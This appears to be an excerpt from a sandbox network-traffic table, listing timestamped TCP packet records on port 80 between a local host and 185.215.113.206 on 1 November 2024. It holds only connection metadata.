Nov 1, 2024 05:52:31.262151003 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.262162924 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.262233019 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.262233019 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.269942999 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.269967079 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.269978046 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.269988060 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.269999981 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.270020008 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.270020008 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.270039082 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.270050049 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.270062923 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.270073891 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.270076990 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.270085096 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.270097971 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.270102024 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.270107985 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.270144939 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.270145893 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.270174026 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.303725958 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.303755045 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.303766012 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.303778887 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.303788900 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.303816080 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.303819895 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.303838968 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.303848982 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.303896904 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.303908110 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.303947926 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.303960085 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.303972006 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.303992033 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.304003954 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.304013014 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.304030895 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.304145098 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.304183960 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.304270029 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.304280043 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.304306030 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.304311037 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.304330111 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.304339886 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.304341078 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.304348946 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.304353952 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.304364920 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.304372072 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.304379940 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.304390907 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.304392099 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.304424047 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.304759026 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.304780960 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.304791927 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.304800987 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.304826975 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.304851055 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.304862976 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.304891109 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.304919004 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.305051088 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.305087090 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.305087090 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.305100918 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.305124998 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.305138111 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.305144072 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.305150032 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.305160999 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.305174112 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.305197001 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.305207968 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.305468082 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.305478096 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.305507898 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.305530071 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.312076092 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.312093019 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.312103033 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.312124014 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.312143087 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.312201977 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.312212944 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.312241077 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.312254906 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.312263012 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.312266111 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.312278986 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.312289953 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.312289953 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.312300920 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.312304974 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.312325954 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.312341928 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.312350035 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.312381029 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.385500908 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.385514975 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.385524988 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.385555983 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.385571957 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.393135071 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.393182039 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.393184900 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.393193007 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.393217087 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.393234968 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.393345118 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.393356085 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.393367052 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.393377066 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.393383026 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.393388033 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.393393040 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.393415928 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.393438101 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.393750906 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.393762112 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.393770933 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.393795013 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.393817902 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.426989079 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.427001953 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.427012920 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.427042961 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.427068949 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.427074909 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.427086115 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.427094936 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.427110910 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.427134037 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.427194118 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.427205086 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.427217007 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.427226067 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.427229881 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.427241087 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.427265882 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.427395105 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.427406073 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.427443027 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.427460909 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.427495003 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.427504063 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.427506924 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.427526951 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.427541018 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.427547932 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.427553892 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.427576065 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.427586079 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.427782059 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.427805901 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.427818060 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.427820921 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.427838087 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.427853107 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.427880049 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.427891970 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.427902937 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.427917957 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.427930117 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.427951097 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.428212881 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.428226948 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.428241968 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.428251982 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.428257942 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.428270102 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.428291082 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.428453922 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.428463936 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.428474903 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.428493977 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.428500891 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.428510904 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.428518057 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.428523064 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.428541899 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.428569078 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.428826094 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.428842068 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.428873062 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.428958893 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.435406923 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.435427904 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.435440063 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.435470104 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.435473919 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.435483932 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.435496092 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.435503006 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.435538054 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.435580969 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.435590982 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.435601950 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.435612917 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.435614109 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.435632944 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.435643911 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.435765028 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.435786963 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.435803890 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.435803890 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.435817003 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.435825109 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.435836077 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.435854912 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.508681059 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.508708954 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.508718967 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.508728981 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.508754015 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.508780956 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.516391993 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.516402006 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.516436100 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.516446114 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.516477108 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.516499996 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.516515017 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.516525984 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.516535997 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.516556025 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.516573906 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.516686916 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.516699076 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.516709089 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.516727924 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.516741991 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.516851902 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.516861916 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.516870975 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.516891956 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.516921043 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.516956091 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.517000914 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.552288055 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.557193041 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.838179111 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.838191986 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.838221073 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.838263988 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.838287115 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.838295937 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.838337898 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.838445902 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.838469982 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.838484049 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.838494062 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.838505983 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.838506937 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.838530064 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.838547945 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.838574886 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.838586092 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.838597059 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.838608980 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.838610888 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.838620901 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.838629961 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.838648081 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.838681936 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.838854074 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.838893890 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.838920116 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.838931084 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.838952065 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.838958979 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.838963032 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.838973999 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.838979959 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.838992119 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.839001894 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.839019060 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.839226961 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.839267015 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.839281082 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.839293003 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.839327097 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.839328051 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.839335918 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.839339972 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.839351892 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.839363098 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.839363098 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.839384079 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.839400053 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.839656115 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.839703083 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.839715004 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.839725971 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.839736938 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.839761019 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.839786053 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.839884996 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.839927912 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.839929104 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.839941978 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.839971066 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.839987040 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.840002060 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.840013027 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.840024948 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.840042114 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.840050936 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.840064049 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.840066910 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.840081930 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.840089083 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.840096951 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.840107918 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.840122938 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.840143919 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.840639114 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.840651035 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.840661049 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.840687037 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.840703964 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.840755939 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.840769053 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.840779066 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.840790033 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.840800047 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.840801954 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.840814114 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.840825081 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.840827942 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.840841055 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.840843916 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.840852976 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:31.840864897 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:31.840890884 CET	49760	80	192.168.2.4	185.215.113.206
